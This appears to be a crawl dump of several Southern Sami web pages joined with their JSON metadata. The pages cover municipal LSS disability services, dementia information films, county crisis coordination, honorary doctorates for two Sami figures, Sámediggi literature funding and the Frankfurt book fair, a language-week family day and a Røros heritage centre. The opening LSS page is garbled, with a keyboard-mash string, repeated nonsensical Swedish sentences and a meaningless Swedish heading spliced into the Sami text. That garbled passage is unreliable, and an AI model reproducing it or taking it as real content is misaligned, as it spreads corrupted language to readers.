guhkebe eejehtallemh vuesiehtimmien gaavhtan goh gise-eejehtallemem.\n8. årroje fuelhkiehïejmesne jallh gåetieluhpiem sjïere hoksehtimmiem månen jih noeride mah ålkolisnie derpesjh jjjhhhhhhhhhhhhh\nMaanah mah läjhkan gosse ovmessie daerjegebarkoeh dorjeme, EAH maehtieh gåetesne eejhtegi luvnie årrodh, reaktah fuelhkiehïejmesne jallh gåetieluhpiem sjïe hoksehtimmine maanide jih noeride utnieh. Fuelhkiehïejme lea ahte maanam jeatjah fuelhkesne årroeminie goh jïjtsh fuelhkiem. Daate maahtah vuesiehtimmien gaavhtan årrodh gåessie skuvlem jeatjah voenesne vaedtsieminie. Årrojehammojde fuelhkiehïejme jih gåetieluhpie sjïere hoksehtimmiejgujmie maanide jih noeride jïjtjesyjhtehts barkoeh Lea jih edtja guktie mej gaskem maanan hïejmese aktem iktesth lissies byjjenimmiebyjresem årrodh.\n9.gåetieluhpiem sjïere hoksehtimmine geerve almetjidie jallh jeatjah sjïehtesjimmie gåetieluhpiem geervide.\nDaate tsiehkie stuvrie geervealmetji reaktah gåetielåhpan sjïe hoksehtimmine jallh jeatjah sjïehteles årromesijjem. Jis dïhte aajne, viehkiejgujmie jeatjah barkojste guktie LSS jih biehkie maadthsjïehtesjimmiem gåetieluhpeste, dïhte maahta akten alternatijvem Årrodh, gåetieluhpiem hoksehtimmiegåetiluhpesne jallh dåehkieårromesijjesne.\nHoksehtimmiegåetieluhpie lea Akten Ellies årromsijjem gusnie buerie jaksoesvoetem lea gusnie hoksehtimmiem jih sahhtoem maetien abpe dygnesne barkijijstie vedtedh.Ulmiem dåehkieårromesijjesne lea ahte geerve almetjh mah OV-vervine jih eah jïjtsh gåetieluhpiem jallh hoksehtimmiegåetieluhpesne maehtieh årrodh, läjhkan edtjieh nuepiem utnedh jïjtsh gåetiem skaepiedidh. Dåehkieårromesijjem edtja såjhtoehïejmeste, skīemtjegåtteste jallh jeatjah guhkiestijjeskïemtjesåjhtoste årrodh. Dähte Akten årromalternativen dysse mig mottagare än Större hoksem, sa jag vet Inte vad det är män Jag vet inte Hur mycket det är män Jag vet inte hur mycket det är män Jag vet inte hur mycket det är.\n10. Får du vara med dig, du kommer aldrig att göra det, men du kommer inte göra det.\nAlmetjh mah barkoedarjomes jaepesne, mah eah barkoem utnieh jallh lohkeminie, reaktah fäerhten beajjetji darjomistie utnieh. Ij Leah almetjidie mah almetjegievlesne golme LSS: ine. Ientemem maahta biejjiejarngedarjomen tjīrrh sjïdtedh, dåarjegem ovmessie åårganisasjovnide, buyertijvide jih jienebe, mah ientemedarjomh öörnieh. Dähte ij leah naan barkoem. Gosse man jijnjes biejjegen darjomistie, sjömän sïevh tjuara goh barkoejielemisnie årrodh. Sjöhtesjimmiem aajne vaajtelimmeste jih daerpiesvoeteste tjuara darjodh. Almetjh mah feeres södteme edtjieh jåerhkedh fıerhten beajjetji darjomh årrodh ihke eah edtjh oktegh sjïdtedh.\nMan jïjnje maaksa\nBarkoeh goh LSS leah åasehts. Barkose goh gåetieluhpiem jih årromem maaksoen goh buerie maaksoem.\nJienebh bïevnesh jih syökemem\nDatne lea buerie båeteme tjente gîtetallijeesem gaskesadtedhhis Det är sjujhth jienebh dagjredh jih da da pepsvoeth pryövedh.\nTelefovnenummerem Gïetedallijeaktesem\nTelefovnetijjem 08.00-09.30\n0940-141 22, 0940-142 37, 0940-142 54","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.vilhelmina.se\/omsorg-och-hjaelp\/information-paa-samiska\/aeldreomsorg-paa-sydsamiska\/insatser-enligt-lss\/","date":"2019-06-26T16:24:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560628000367.74\/warc\/CC-MAIN-20190626154459-20190626180459-00344.warc.gz","language":"sma","language_score":0.9999656677,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999656677246094}","num_words":896,"character_repetition_ratio":0.059,"word_repetition_ratio":0.019,"special_characters_ratio":0.149,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Filmh\nFilmh\nRæhpasvoete demensen bïjre - Bïevnesefilme demensen bïjre saemien gïele- jïh kultuvreperspektijvine.\nFilme bïevnesh vadta ovmessie demenseskïemtjelassi bïjre, kommunikasjovnen jïh ektiespïelen bïjre almetjinie mij demensen åtna, jïh bïevnesh reaktan bïjre healsoe- jïh hoksedïenesjidie. Noerhtesaemien kultuvreperspektijve tjyölkehke dorjesåvva gihtjehtimmiej tjïrrh faagealmetjigujmie, jïh boelhkigujmie sjïehteladteme faalenassi bïjre. Man vihkeles ræhpas demensen bïjre årrodh lea vuesiehtamme viehkine Johan Anders Eireste, mij lea demenseskïemtjelassem åådtjeme, jïh altese paarrebielie Inger Marie Bongo Eira. Lissine almetjidie demensine jïh dej lïhke fuelhkie, barkijh healsoe- jïh hoksedïenesjisnie sijhtieh nåhtoem filmeste utnedh, goh akte dïrrege sijjen bïevnesebarkosne almetjidie demensine jïh dej lïhke fualhkan. Filme lij bæjhkoehtamme Guovdageaidnusne 2018. Vuartesjh bïevnesh jïh filmem daesnie.\nDaelie barkeminie filmem guhkiebasse evtiedidh, gusnie dovne noerhte-, julev- jïh åarjelsaemien gïele jïh kultuvreperspektijve sæjhta soptsesovvedh.\nGie mannem vuajna? – Filme demensen bïjre maanide\nAnimasjovnefilme evtiesovvi nöörjen gïelesne 2016, jïh daelie noerhtesaemien jïh julevsaemien gïelem jïh vuelieteekstem åådtjeme. Filme akten nïejten bïjre mij tjidtjiem åtna demensine. Nïejte såemies dejstie åssjaldahkijste buakta mah maehtieh jijhtedh gosse akte dejstie eejhtegijstie faahketji jorkese bielelen maana guarkoe mannasinie. Filmesne altese murredskreeke, snjågloe \"Huske\", soelkehte jïh viehkehte jïh sutnjien demensen bïjre soptseste. Filme unnebe maanide sjeahta mah tjidtjiem, aehtjiem jallh jeatjah fuelhkielïhtsegem demensine utnieh, jïh maahta bïevnesebarkosne åtnasovvedh. Daelie barkeminie filmem åarjelsaemien gïelese sjïehtedidh. Filme noerhtesaemien gïelesne daesnie jïh julevsaemien daesnie.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.aldringoghelse.no\/demens\/samisk\/aarjelsaemien\/filmh\/","date":"2019-08-20T07:23:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315258.34\/warc\/CC-MAIN-20190820070415-20190820092415-00112.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":207,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aehpiegïetedimmie jïh iktedimmie\nDïedteprinsihpe sæjhta jiehtedh dïhte instanse mij dïedtem åtna akten vihties suerkien åvteste aktene iemie tsiehkesne, aaj dïedtem utna sjïere heannadimmine jïh aehpine. Lïhkesvoeteprinsihpe sæjhta jiehtedh aehpieh edtjieh gïetesovvedh dan vueliegommes daltesisnie goh gåarede.\nFylhkenålma maahta barkoem iktedidh\nStuerebe aehpine jïh ovlæhkojne dle daamtaj jienebh suerkieh mah leah meatan aehpiegïetedimmesne. Dagkarinie tsiehkine dle Fylhkenålma maahta barkoem iktedidh fylhkesne. Jis sjyöhtehke sjædta dagkarinie regijovnale iktedimmine nïerhkedh, dle Fylhkenålma jïh dah sjyöhtehke etaath edtjieh gaskesem tseegkedh. Daesnie fylhken gaerviesvoeteraerie maahta akte vihkeles forume årrodh.\nFylhken gaerviesvoeteraerie edtja gååvnesidh\nFylhken gaerviesvoeteraeresne staateles byögkeles gaerviesvoeteaktöörh jïh jïjtjevyljehke jïh privaate siebrieh mej faagedaarjoe siebriedahkesjearsoesvoeten jïh gaerviesvoeten bïjre. Raerie akte forume gusnie sinsitniem gaerviesvoetebarkoen bïjre bievnieh, jïh aktene aehpesne dle raerie sæjhta Fylhkenålman staateles laavenjostoe - jïh dåarjoeåårganine årrodh.\nGosse dåara dle Fylhkenålma faamoem åtna vihkeles siebriedahkeiedtjh gorredidh jis govlesadteme reerenassine tsoepkene.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.fylkesmannen.no\/sma\/Siebriedahkejearsoesvoete-jih-gaerviesvoete\/Aehpiegietedimmie-jih-iktedimmie\/","date":"2019-08-24T03:39:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027319470.94\/warc\/CC-MAIN-20190824020840-20190824042840-00061.warc.gz","language":"sma","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 1.0000072717666626}","num_words":137,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Earoem åadtjoejigan juktie lin saemien åvteste gymhpeme\n–Ruffien 30.b. bööredimmiem Taiwanese åadtjoejim juktie earoedåakterebaalhkam åadtjodh. Manne vïenhtim naaken ajve mannine sjelhkiedi, Sverre Fjellheim (81) föörhkede.\nDïhte aadtjen dam joekoen stoerre earoedåakterebaalhkam åådtjeme tjaktjefestivaalesne Tjaktjen Tjåanghkoe. Meejle Taiwaneste ij lij jarhpoe goh. Sverre Fjellheim lij nammoehtimmiem earoedåaktarinie åådtjeme World Indigenous Nations Universiteeteste, mij barkeminie aalkoealmetji daajroem jïh ööhpehtimmiem nænnoestidh abpe veartenisnie.\n–Manne lim skïemtjes orreme guhkiem, jïh im saaht guktie lim maahteme Taiwanese vuelkedh. Idtjim dan jïjnjem dan bïjre ussjedh vielie, åvtelen vihth e-påastem åadtjoejim göökte askh mænngan aktine stoerre guvvine jïjtjestanne, mij lij gævnjan aktene vïedtjesne Taiwanesne, raajrojne dåaktarijstie guvvien nuelesne. Easkah dellie guarkajim daate ij lij jarhpoe. Manne lim earoedåaktarinie sjïdteme jïh daan biejjien daam earoebaalhkam åadtjoejim daesnie Snåasesne. Hijven domtoe, jïh baalhka lea joekoen vihkeles abpe åarjelsaemien siebriedahkese.\nEaroehtamme sijjen barkoen åvteste\nSÁMi Ođasmagasiidna earoedåaktaridie gaavnede dallah mænngan ligan baalhkam åådtjeme. Dïhte maehteles saemien historihkere ij leah gåessie gænnah daarpesjamme barkoem ohtsedidh. Altese daajroe dan vihkeles orreme guktie saemien institusjovnh leah mahte dan bïjre gymhpeme.\n–70-låhkoen manne Noerhtelaanti Saemien Instituhtesne Guovdageaidnusne barkim. Faahketji tellefovnem Snåaseste åadtjoejim. Saemien Sijten åejvie munnjien ringki. \"Daelie badth tïjje båateme datne åarjese båatah juktie mijjieh aktem daarpesjibie mij maahta daejnie nierhkedh\", jeehti. Jïh dan åvteste manne gåetide vöölkim jïh naemhtie mov barkoe eelki dan åarjelsaemien åvteste rïektesisnie, Fjellheim soptseste.\nJaepie lij 1980. Alta-aksjovne lij juhtieminie jïh Trööndelagesne aaj soejkesjin dovne jaevride deepmesjidh jïh vuetjemefeeltem bigkedh. Jienebh saemieh sijjen reaktaj åvteste gæmhpoejin reaktasuerkesne. Daate Fjellheimem tsavtsi gosse eelki Saemien Sijtem hammoedidh.\n- Eelkim ussjedidh magkeres råålla daate onnohtje aadtjen tseegkeme saemien institusjovne Snåasesne meehti dagkeres veartenisnie darjodh? Daej åssjaldahkigujmie daate ånnetji ånnetji joekoen stoerre prosjektine sjïdti. Syjhtedassh lin prosessem buektiehtidh gusnie dovne registreradimmie, dokumentasjovne, dotkeme, bievneme, reereme jïh vaarjelimmie edtjieh vïedteldahkesne årrodh barkojne mij identiteetem sjugniedi, Fjellheim tjïelkeste mij guhkiem oktegh gïehteli kultuvremojhtesh registreradidh.\nIktesth tjoereme gæmhpodh\nFjellheim direktöörine Saemien Sijtesne barki 1991 raajan gosse barkoem åadtjoeji Tromsø Museumisnie, jïh mænngan dovne Rijhkeantikvaaresne jïh Saemiedigkesne, Jalhts lij joekehts barkoevedtijh, dïhte iktesth reereminie saemien kultuvremojhtesijstie barki. Dïhte aaj jienebh histovrijegærjah tjaaleme jïh meatan orreme Saemiereaktamoenehtsen barkosne.\n–Leam tjoereme dan saemien åvteste gæmhpodh iktegisth, men manne geerjene ihke leam åådtjeme darjodh maam dorjeme. Daejnie earoebaalhkine maahtam enn vielie darjodh. Daelie leam bieline sjïdteme daehtie aalkoealmetjeuniversiteeteste jïh maahtam tjaalegh saemien histovrijen bïjre tjaeledh gaskenasjonaale siebriedahkese. Daate earoebaalhka maam daelie åådtjeme lea faageles jååhkesjimmie, damtem. Raaktan vihkeles saemieh stoerre tihtelh åadtjoeh, juktie dïhte vielie leavloem vadta mijjen barkosne, jeahta.\nGarmere baalhkeste\nAaj Inga Persson Mortensson (93) nammoehtimmiem earoedåaktarinie åadtjoeji. Båatsoen jïh stoerre eadtjohkevoeten tjirrh siebriedahkesne dïhte lea aerpievuekieh jïh daajroem serteme dan nuerebe boelvese. Gïeleldh aaj viehkiehtamme guktie saemien ööhpehtimmie sjïdti. Aaj dïhte vïenhti Taiwan lij fiejliem dorjeme gosse satnine gaskesadti.\n- Daan biejjien manne garmeresvoetine daam baalhkam dåastoem jïh dam juakam veartenen gaajhki aalkoealmetjigujmie, juktie daajram mijjieh doh seamma gæmhpoeh gæmhpoeminie, Inga gijhtemehåaloemisnie jeehti.\nMortensson lea reakadamme 1926 Västerbottensinie gosse eejhtegh lin gïjrejuhtiemisnie. Dïhte kulturelle veaksehke fuelhkien sïjse reakasovvi.\n–Mov fuelhkien daajroegaaltijistie gåajvodh lij eevre daerpies jis edtjimh bïerkenidh. Dah sïjhtin mijjieh edtjimh jearsoes sjïdtedh guktie maehtebe bïerkenidh gaajhki tsiehkiej nuelesne. Dej bijjiedimmie lea mannem hammoedamme, jïh manne pryöveme dam mov maanide, aahkoevidie jïh maadteraahkoevidie vedtedh.\n- Mijjen åadtjobe håjnoes årrodh\nDïhte daaroedehtemem tjarke damteme dovne gosse Sveerjesne årroeji maanabaelien, jïh mænngan geerve jieliedisnie Nöörjesne. 1933 gosse Inga skuvleaaltarasse bööti tjoeri skuvlem aelkedh Sveerjesne. Don baelien aaj jearsoesvoetem dassi. Govhte garre jaepieh sjïdti.\n–Lij eevre luhpehts gïelem nuhtjedh, guktie joekoen jïjnjem teehpim jïh lïerim gïele idtji naan aarvoem utnieh. Goh geerve almetje månnoeh geellebe Richard bovtsigujmie gïehtelimen Svahken sïjtesne Nöörjesne. Daesnie gæmhpoe mijjen reaktan bïjre veasodh, aaj sagke tjyölkehkåbpoe sjïdti. Manne leam dåårjeme almetjh leah mov bovtsh vuatjeme, jïh manne aaj gymhpeme mijjen maanaj ööhpehtimmien jïh gïelen åvteste. Idtjimh gåessie gænnah gåavvarosth, men åadtjobe håjnoes årrodh. Mijjieh dan jïjnjem dasseme.\nNoeride garmerdieh\nDovne Inga Mortensson jïh Sverre Fjellheim lægan sïemes nuerebe boelve stoerre barkoem darjoeh saemien gïelem vaarjelidh jïh nænnoestidh. Læjhkan eah leah eevre optimisth dan guhkiebasse barkoen bïjre åarjelsaemien aerpievuekijste.\n–Manne dejtie noeride garmerdem mah gïelem bååstede vaalteme. Mov lea stoerre håhkoe gïelen båetijen aejkien bïjre, men leam jueriedisnie guktie båatsojne gåarede daesnie åarjene. Mijjieh tjarke deadtoven nuelesne jïh laantem dassebe fïerhten biejjien turismese, hæhtjoebigkemasse, valkesasse jïh industrijese, Mortensson jeahta.\n– Gosse manne byjjenim dellie lij 6-7 almetjh mah meehtin saemiestidh. Daan biejjien maahtam hotellesne mïnnedh jïh noerh råakedh mah maehtieh sinsitnine saemiestidh. Dïhte joekoen joekoen hijven, men læjhkan geerve mievriestidh guktie båetije aejkie sjædta, jïh im akt manne vïenhth båatsoen lea hijven båetije aejkie, mij ij leah nöörjen laakeste vaarjelamme. Daan biejjien mijjen lea Saetniesvoetekommisjovne, mij lea hijven, men jis edtjem eerlege årrodh dellie im daejrieh guktie edtjieh gaajhkem buektiehtidh doh golme jaepieh, man åvteste libie gymhpeme 400 jaepieh, Fjellheim jeahta.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/samimag.no\/sma\/content\/earoem-aadtjoejigan-juktie-lin-saemien-avteste-gymhpeme","date":"2019-10-15T10:58:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986658566.9\/warc\/CC-MAIN-20191015104838-20191015132338-00336.warc.gz","language":"sma","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.000002384185791}","num_words":764,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gærjameesse Frankfurtesne, mij öörnesåvva golken, lea veartenen vihkielommes gaavnedimmiesijjie gaskenasjonaale gærjasuarkan. Desnie vielie goh 300.000 guessieh minnieh bijjelen 100 laantijste, 7000 bertemijstie jïh 10.000 journalisth.\nJaepien 2019 Nöörje råållam guessielaantine åådtjeme gærjameessese Frankfurtesne, jïh daate sæjhta jiehtedh Nöörje åådtje sov lidteratuvrem jïh kultuvrem åehpiedehtedh gærjameessesne. Dan gaavhtan akte jïjtse guessiepaviljonge gusnie bööredamme tjaelijh Nöörjeste edtjieh åadtjodh sijjen tjaelijebarkoem våajnoes darjodh.\nSámi lágádus- ja aviisasearvi \/ Saemien berteme- jïh plaeriesiebrie (SÁLAS) jïh Sámi Girječálliid Searvi\/ Saemien Tjaelijesiebrie (SGS) leah meatan juktie saemien lidteratuvrem jïh saemien tjaelijh våajnoes darjodh.\nDåarjoem vadta juktie meatan årrodh\nGellie saemien tjaelijh leah bööresovveme guessiepaviljongese jïh SGS lea gyhtjelassh åådtjeme meatan årrodh jeatjah öörnedimmine gærjameessesne. Saemiedigkieraerie lea 166 000 kråvnah dåarjojne dåårjeme SGS:se juktie meatan årrodh gærjameessesne.\n– Saemien tjaeliji gaavhtan lea vihkeles stïeresne årrodh aktene dan stoerre gaskenasjonaale lidteratuvre-areenesne, joekoen daan jaepien gosse Nöörje lea guessielaante. Daate stoerre nuepiem vadta saemien tjaeliji jïh saemien lidteratuvren bïjre bievnedh, saemiedigkieraerie Henrik Olsen jeahta.\nSaemiedigkieraerie Henrik Olsen lea gærjameessesne golken 13.- 17. b. jïh edtja gaskem jeatjah stïeresne årrodh rïhpestimmieseremonijesne dæjstan, golken 15. b.\n– Sjïere nuepie saemien lidteratuvrem våajnoes darjodh\nSaemiedigkieraerie aaj dåarjoem vadteme saemien berteme- jïh plaerieseabran (SÁLAS) 200 000 kråvnajgujmie. SÁLAS lea laavenjostosne siebrine NORLA, mij öörnede Nöörje lea meatan Frankfurtesne 2019, hokseme aaj saemien gærjah jïh tjaelijh leah meatan desnie. Gærjameessen sjïekenisnie edtja såemies saemien gærjah eengelske gïelese jarkoestidh goh pryövejarkoestimmieh juktie saemien lidteratuvrem våajnoes darjodh lohkijidie abpe veartenisnie.\n– Saemien lidteratuvre lea bielie dehtie nöörjen lidteratuvreaerpeste. Daate sjïere nuepiem vadta saemien lidteratuvren jïh siebriedahkedigkiedimmien bïjre bievnedh jïh dam abpe veartenasse vuesiehtidh, saemiedigkieraerie Henrik Olsen jeahta.\n23 000 kråvnah aaj dåarjojne vadtasovveme akten saemien bertemasse mij ij leah ektiedamme SÁLAS:asse, Susanne Hætta, juktie våålese Frankfurtesne mïnnedh. Olsen tuhtjie vihkeles saemien bertemh åadtjoeh meatan årrodh daerpies leavlojne, dagkeres dan stoerre gaskenasjonaale lidteratuvre-areenesne.\n– Daate stoerre vuesiehtimmienuepiem saemien lidteratuvrese vadta jïh dejnie manne tjarke sjuesjedem, saemiedigkieraerie jeahta.\nDåarjoe vuesiehtæmman teaterestuhtjeste\nSaemien lidteratuvre jïh kultuvre sijhtieh våajnoes årrodh abpe gærjameessesne gellielaakan.\nSaemiedigkieraerie aaj Beaivváš saemien nasjonaaleteaterem dåårjeme 150 000 kråvnajgujmie. Dah edtjieh gærjameessesne mïnnedh stuhtjine Johan Turin bïjre, jïh edtja teaterestuhtjem gellien aejkien vuesiehtidh dan våhkoen.\n– Daate sjiehteles stuhtje meatan vaeltedh, dan åvteste Johan Turi voestes saemien tjaeliejinie ryöknesåvva gærjine\"Muitalus sámiid birra\", mij bööti 1910. Manne aavodem dam Frankfurtesne vuejnedh. Gieltege sjædta Frankfurtesne mïnnedh juktie mijjen væjkele tjeahpoe- jïh kultuvrebarkijh fulkedh jïh vuejnedh guktie daate maahta saemien lidteratuvrem lutnjedh akten stuerebe maarhkedese, saemiedigkieraerie Henrik Olsen minngemosth jeahta.\nJis dov leah gihtjehtimmie jallh gyhtjelassh, gaskesadth Henrik Olsen, tellefovne: +47 907 75 219 jïh\/jallh email@example.com","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Stoerre-vuesiehtimmienuepie-saemien-lidteratuvrese","date":"2019-10-22T21:33:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987824701.89\/warc\/CC-MAIN-20191022205851-20191022233351-00283.warc.gz","language":"sma","language_score":0.999956131,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999561309814453}","num_words":388,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juktie Saemiedigkien stoerretjåanghkoe nænnoesti daan beajjetje dåarjoeöörnegem saemien gærjabusside nåhkedidh, Saemiedigkie saemien lidteratuvrestrategijem evtiedamme, mij ulmine åtna bievnemem jïh produksjovnem saemien lidteratuvreste nænnoestidh.\nSaemiedigkieraerie sæjhta vielie beetnegh nuhtjedh produksjovnese saemiengïeleldh lidteratuvreste jïh bievnemem lissiehtidh saemien lidteratuvren bïjre.\n– Sïjhtebe hijven lidteratuvrem faalehtidh gaajhkide boelvide jïh gaajhkine saemien gïeline. Dan åvteste raeriestibie dåarjoem lissiehtidh orre bæjhkoehtimmide 5,1 millijovnh kråvnajgujmie budsjedtesne 2020. Daate lea vierhtieh mejtie jeatjahlaakan joekedibie dehtie veahkeste mij daan raajan lea saemien gærjabusside jåhteme, saemiedigkieraerie Henrik Olsen jeahta.\nDaelie vååjnoe goh vïjhte dejstie gaektsie saemien gærjabussijste mah leah gïehtelimsdåarjoem dååsteme Saemiedigkeste, sijhtieh gærjabussedïenesjem jåerhkedh dan orre öörnegen mietie. Dïsse 2,5 millijovnh kråvnah læjkobe.\nSæjhta lohkemelastoem jïh tjaelemeaavoem nænnoestidh\nSaemiedigkie aaj vuajna daerpies saemien lidteratuvren bïjre tjyölkehkåbpoe bievnedh juktie ïedtjem lissiehtidh saemien gærjide jïh jienebh lohkijh åadtjodh. Saemiedigkien saemien lidteratuvrestrategije råajvarimmieh soejkesje juktie dovne lohkeme- jïh tjaelemelastose skreejrehtidh.\n– Gaatesjen fer vaenie saemien lidteratuvre bæjhkoehtamme sjædta. Mijjieh vïenhtebe jis lissiehtamme lohkemelastose skreejrehte, dellie aaj sæjhta tjaelemelastose skreejrehtidh. Lidteratuvre jïjtse gïelesne lea vihkeles identiteete jïh gïelen statusen gaavhtan jïh dovne lohkeme, tjaeleme- jïh soptsesetjiehpiesvoeth jïjtse gïelesne evtede. Aaj vihkeles juktie maanide jïh noeride lïerehtidh lidteratuvrem lyjhkedh, aaj geerve aaltarisnie, Olsen jeahta.\nBievnemebarkoesijjieh tseegkesuvvieh\nSaemiedigkieraerie raereste jïjtsh bievnemebarkoesijjieh tseegkedh julev- jïh åarjelsaemien dajvesne. Barkoe åarjelsaemien dajvesne tseegkesåvva Sijti Jarngesne jïh barkoe julevsaemien dajvesne tseegkesåvva Árran julevsaemien jarngesne.\n– Daah barkoeh sijhtieh lïhkebe laavenjostoen åvteste barkedh dej ovmessie institusjovni gaskem juktie saemien lidteratuvrem våajnoes darjodh sjïehteladtemen tjirrh ovmessie öörnedimmijste, jïh daajroem lissiehtidh saemien lidteratuvren jïh kultuvren bïjre, gaskem jeatjah gærjagåetine, saemiedigkieraerie jeahta.\nGosse lea bievnemen bïjre saemien lideratuvreste noerhtesaemien dajvesne Saemiedigkie sæjhta laavenjostoem tseegkedh Romsan fylhkentjïeltine, mij joe aktem Saemien gærjagåetiedïenesjem Romsesne åtna. Akte laavenjostoe sæjhta maehtedh daam dïenesjem vijriedidh.\n– Daelie 300.000 kråvnah lyjkeme budsjedtesne daan laavenjostose. Detaljh dan bïjre jïh dej göökte bievnemebarkoej bïjre julev- jïh åarjelsaemien dajvesne eah leah gaervies annje, men sijhtebe bååstede båetedh dïsse, Henrik Olsen minngemosth jeahta.\nDoh jeatjah råajvarimmieh saemien lidteratuvrestrategijesne meatan vaaltasuvvieh Saemiedigkien budsjedteraeriestimmesne 2020.\nJis gihtjehtimmiem sïjhth, gaskesadth Henrik Olsen, tlf: 907 75 219","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Saemien-lidteratuvrem-naennoste-5-1-millijovnh-kraavnajgujmie","date":"2019-11-20T02:30:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670389.25\/warc\/CC-MAIN-20191120010059-20191120034059-00056.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":318,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Abpe våhkoem Aajege jïh jeatjah institusjovnh leah ovmessieh öörnemh Gïelevåhkoen doekoe dorjeme. Daan biejjien Aajege lea fuelhkiebiejjiem öörneme, gusnie maanah jïh eejtegh meehtin ektesne tjåanghanidh jïh tryjjedidh. Daenbien dle medtie 55 almetjh fuelhkiebiejjiem dåeriedin jïh Aajegen åvtehke, Toini Bergstrøm jeehti daate biejjie lea hijven orreme.\nMikkel Eskil Mikkelsen Saemiedigkeste aaj fuelhkiebiejjiem dåeriedi jïh tuhtji gaajh hijven Aajege lea daam biejjiem öörneme.\n-Daan biejjien gaajh lustes jïh hijven biejjie orreme. Saemiedigkien åvteste manne leam åådtjeme diekie Plassjese båetedh, jïh Plassjen gïelebarkoem vuartasjidh. Manne tuhtjem luste viuejnedh dan soe gellieh maanah jïh eejtegh Aajegasse böötin jïh fuelhkiebiejjiem dåeriedin, Mikkel Eskil Mikkelsen jeahta.\nMikkel Eskil aaj jeehti ahte dah Saemiedigkesne tuhtjin daate Gïelevåhkoe joekoen hijven orreme. Satne aaj jeehti Saemiedigkien ulmieh lin dejtie saemiengïelide lutnjedh. V.g. ovmessieh kampanjh öörnedh, skilth tseegkedh, fuelhkiebiejjieh öörnedh jih numhtie. Dïhte jeehti lea smaave råajvarimmieh mejtie vihkelommes, jïh ij baarre stoerre råajvarimmieh darjodh.\nMinngemosth Toini Bergstrøm jeehti vihkeles aaj ussjedidh ahte Gïelevåhkoen mænngan jåerhkebe gïelem lutnjedh.\n-Fïerhte almetje tjuara ussjedidh «guktie manne maahtam gïelem lutnjedh?». Dïhte lea gaajh vihkeles. Mijjieh tjoerebe aaj dïhte gïelem vuajnadidh. Manne tuhtjem dïhte aaj lea vihkeles gaajhkh dah almetjh gïelem vuejnieh jïh goltelieh, Toini Bergstrøm.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/saernieh.no\/daenbien-aajege-lea-fuelhkiebiejjiem-oorneme\/","date":"2019-11-17T02:29:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668782.15\/warc\/CC-MAIN-20191117014405-20191117042405-00280.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":191,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eatnemeaerpieraerie jïh MiST Rørosmuseet Eatnemeaerpiejarngen rïhpestæmman böörieh, Röörosen bïerjesijjien jïh Circumfereensen åvteste.\nJaepien 1980 dah båeries gåetieh Röörosisne sjidtin eatnemeaerpesne tjaalasovveme jïh dan mænngan dah båeries dajvh bïjre dam Circumfereensem aaj eatnemeaarpan sjidtin. Rørosmuseet lea dunnie tijjesne histovrijen jïh aerpien bïjre soptsestamme. Jaepien 2017 Rørosmuseet eatnemeaerpiejarngese sjïdti jïh daelie almetjh maehtieh jarngese ovmessieh vuekine mïnnedh: Akte orre vuesiehtimmie eatnemeaerpien bïjre Sjïlkehtamme-gåetesne, onnetje ööhpehtimmie skuvlemaanide daennie dajvesne, ovmessieh bïevnesh eatnemeaerpiedajvesne jïh ovmessieh digitaale areenine. Daelie Rørosmuseet sæjhta dam orre eatnemeaerpiejarngem heevehtidh dovne hieje-iehkede 